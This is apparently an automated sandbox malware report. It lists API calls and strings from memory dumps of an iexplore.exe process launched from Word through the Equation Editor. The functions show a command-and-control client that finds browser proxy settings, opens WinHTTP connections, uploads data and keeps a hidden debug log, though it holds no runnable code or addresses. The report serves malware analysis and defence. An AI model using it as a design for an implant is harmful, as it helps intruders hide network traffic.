Try Http by IEHttpProxy., xrefs: 00512089
Try Http by IEHttpsProxy., xrefs: 00512090

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511231, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 41registry

APIs

Part of subcall function 00511124: memset.MSVCRT ref: 0051115A
Part of subcall function 00511124: RegEnumKeyW.ADVAPI32(80000003,00000000,?,00000104), ref: 0051117D
Part of subcall function 00511124: wcsncmp.MSVCRT(S-1-5-21,?,00000008), ref: 00511199
Part of subcall function 00511124: wcsstr.MSVCRT ref: 005111B1
Part of subcall function 00511124: memset.MSVCRT ref: 005111CF
Part of subcall function 00511124: RegOpenKeyExW.ADVAPI32(80000003,?,00000000,00020019,?), ref: 00511206

RegQueryValueExW.ADVAPI32(00000000,AutoConfigURL,00000000,00000000,00000400,00000400,?,00000000), ref: 00511257
RegCloseKey.ADVAPI32(00000000), ref: 00511260

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

Strings

Get AutoConfigURL %s., xrefs: 0051128C
Get No AutoConfigURL., xrefs: 0051126A
AutoConfigURL, xrefs: 00511251

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005191BC, Relevance: 7.6, APIs: 5, Instructions: 87

APIs

??2@YAPAXI@Z.MSVCRT ref: 00519203
memset.MSVCRT ref: 00519224
memcpy.MSVCRT ref: 0051923B

Part of subcall function 00519829: memset.MSVCRT ref: 0051994C

Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A2F6
Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A322
Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A377

memcpy.MSVCRT ref: 00519297
??3@YAXPAX@Z.MSVCRT ref: 005192B2

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051B5FC, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 70

APIs

_itoa.MSVCRT ref: 0051B645
_snprintf.MSVCRT ref: 0051B683

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

., xrefs: 0051B636
#, xrefs: 0051B630
, xrefs: 0051B620

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F59E2, Relevance: 7.5, APIs: 5, Instructions: 49timethread

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 004F5A19
GetCurrentProcessId.KERNEL32 ref: 004F5A25
GetCurrentThreadId.KERNEL32 ref: 004F5A2D
GetTickCount.KERNEL32 ref: 004F5A35
QueryPerformanceCounter.KERNEL32(?), ref: 004F5A41

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051D182, Relevance: 7.5, APIs: 5, Instructions: 49timethread

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0051D1B9
GetCurrentProcessId.KERNEL32 ref: 0051D1C5
GetCurrentThreadId.KERNEL32 ref: 0051D1CD
GetTickCount.KERNEL32 ref: 0051D1D5
QueryPerformanceCounter.KERNEL32(?), ref: 0051D1E1

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00513409, Relevance: 7.5, APIs: 5, Instructions: 37

APIs

WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051341B
WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513425
WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051342F
WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513439
WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513442

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516178, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60

APIs

DeleteFileA.KERNEL32(?,00520170,0000002C,005143F8,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,000003EB,?,00000000), ref: 005161AD
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 005161C0

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 00516097: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,0002001F,?,00000000,?,00000000), ref: 005160E2
Part of subcall function 00516097: memset.MSVCRT ref: 00516113
Part of subcall function 00516097: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000), ref: 00516136
Part of subcall function 00516097: RegDeleteValueA.ADVAPI32(?,?,?,?,00000000), ref: 0051614A
Part of subcall function 00516097: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00516157

Strings

Send Uninstall Data Failed!, xrefs: 0051621F
@, xrefs: 005161E1

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00512004, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 0051129D: memset.MSVCRT ref: 00511301
Part of subcall function 0051129D: RegQueryValueExW.ADVAPI32(00000000,ProxyEnable,00000000,00000000,?,?,?,?,00000000), ref: 00511345
Part of subcall function 0051129D: RegQueryValueExW.ADVAPI32(?,ProxyServer,00000000,00000000,?,?), ref: 00511370
Part of subcall function 0051129D: RegCloseKey.ADVAPI32(?), ref: 00511378
Part of subcall function 0051129D: ___swprintf_l.LIBCMT ref: 00511398
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113B9
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113D3
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113EE
Part of subcall function 0051129D: memset.MSVCRT ref: 00511412
Part of subcall function 0051129D: ___swprintf_l.LIBCMT ref: 005114C2

WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTPS,?,?,?,00513D67,00000000,?,00000000,00000001,00000001), ref: 00512062

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

HTTPS, xrefs: 00512035
Get No IEHttpsProxy., xrefs: 00512044
Try Https by IEHttpsProxy., xrefs: 00512009

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051336C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35

APIs

WinHttpReadData.WINHTTP(?,?,?,?,?,?,?,0051410A,?,00000000,00000004), ref: 0051338C
GetLastError.KERNEL32(?,?,0051410A,?,00000000,00000004), ref: 005133A6

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

WinHttpReadData Failed! - %d, xrefs: 005133AD
AQ, xrefs: 00513386

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051A476, Relevance: 6.1, APIs: 4, Instructions: 57

APIs

_errno.MSVCRT ref: 0051A48F

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

memcpy.MSVCRT ref: 0051A4BB
memset.MSVCRT ref: 0051A4CC
_errno.MSVCRT ref: 0051A4DE

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00515C47, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 44

APIs

memset.MSVCRT ref: 00515C4B
memcpy.MSVCRT ref: 00515C72

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

GetLastError.KERNEL32(00000000,?,000003F2,?), ref: 00515CC0

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

Send OP_UPLOAD_END Data Failed!, xrefs: 00515CCA

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051A93E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65

APIs

_errno.MSVCRT ref: 0051A956

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

_errno.MSVCRT ref: 0051A9AD

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0051A946, 0051A948

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F3337, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62

APIs

_errno.MSVCRT ref: 004F334F

Part of subcall function 004F3287: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 004F3275

_errno.MSVCRT ref: 004F3396

Strings

rundll32.exe, xrefs: 004F3342

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051A729, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62

APIs

_errno.MSVCRT ref: 0051A741

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

_errno.MSVCRT ref: 0051A788

Strings

WdQ, xrefs: 0051A75C

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051A79D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48

APIs

_errno.MSVCRT ref: 0051A7B5

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

_errno.MSVCRT ref: 0051A7F0

Strings

wdQ, xrefs: 0051A7D0

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00512176, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 005114F8: memset.MSVCRT ref: 0051154A
Part of subcall function 005114F8: memset.MSVCRT ref: 00511561
Part of subcall function 005114F8: memset.MSVCRT ref: 00511578
Part of subcall function 005114F8: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000001), ref: 0051158C
Part of subcall function 005114F8: ___swprintf_l.LIBCMT ref: 005115E4
Part of subcall function 005114F8: GetPrivateProfileStringW.KERNEL32(?,Path,00000000,?,00000104,?), ref: 00511605

WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTP,?,?,?,00513F99,00000000,?,00000000,?,00000000), ref: 005121C9

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

HTTP, xrefs: 005121A7
Try Http by FireFoxHttpProxy., xrefs: 0051217B

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00512107, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 005114F8: memset.MSVCRT ref: 0051154A
Part of subcall function 005114F8: memset.MSVCRT ref: 00511561
Part of subcall function 005114F8: memset.MSVCRT ref: 00511578
Part of subcall function 005114F8: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000001), ref: 0051158C
Part of subcall function 005114F8: ___swprintf_l.LIBCMT ref: 005115E4
Part of subcall function 005114F8: GetPrivateProfileStringW.KERNEL32(?,Path,00000000,?,00000104,?), ref: 00511605

WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTPS,?,?,?,00513DA1,00000000,?,00000000,?,00000000), ref: 0051215A

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

HTTPS, xrefs: 00512138
Try Https by FireFoxHttpsProxy., xrefs: 0051210C

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051A8BA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42

APIs

_errno.MSVCRT ref: 0051A8CF

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

Part of subcall function 0051CEF9: _errno.MSVCRT ref: 0051CF1C

_errno.MSVCRT ref: 0051A914

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0051A8C0

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511B92, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000001,?,00513CC2,00000000,00000000,?), ref: 00511BA8

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

Try Https by default proxy., xrefs: 00511B94
OpenHttpsByDefaultProxy WinHttpOpen Failed!, xrefs: 00511BB4

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Exploits:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Software Vulnerabilities:

Networking:

Boot Survival:

Remote Access Functionality:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: WINWORD.EXE PID: 3368 Parent PID: 2964

General

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 3420 Parent PID: 536

General

Chronological Activities

Analysis Process: iexplore.exe PID: 3444 Parent PID: 3420

General

Chronological Activities

Analysis Process: explorer.exe PID: 3488 Parent PID: 2876

General

Chronological Activities

Function 617B223D, Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 375
librarythreadinjection

Function 617B3362, Relevance: 7.5, APIs: 5, Instructions: 49
timethread

Function 617B2C34, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 124
sleep

Function 617B202C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 147
file

Function 617B1319, Relevance: 10.6, APIs: 7, Instructions: 114
library

Function 617B1276, Relevance: 6.1, APIs: 4, Instructions: 64
file

Function 00513ABC, Relevance: 21.4, APIs: 6, Strings: 8, Instructions: 444
string

Function 00517143, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 131
library

Function 005135D4, Relevance: 54.6, APIs: 18, Strings: 13, Instructions: 327
time

Function 004F120F, Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 168
file

Function 004F1000, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 170
registry

Function 00518133, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 143
filetime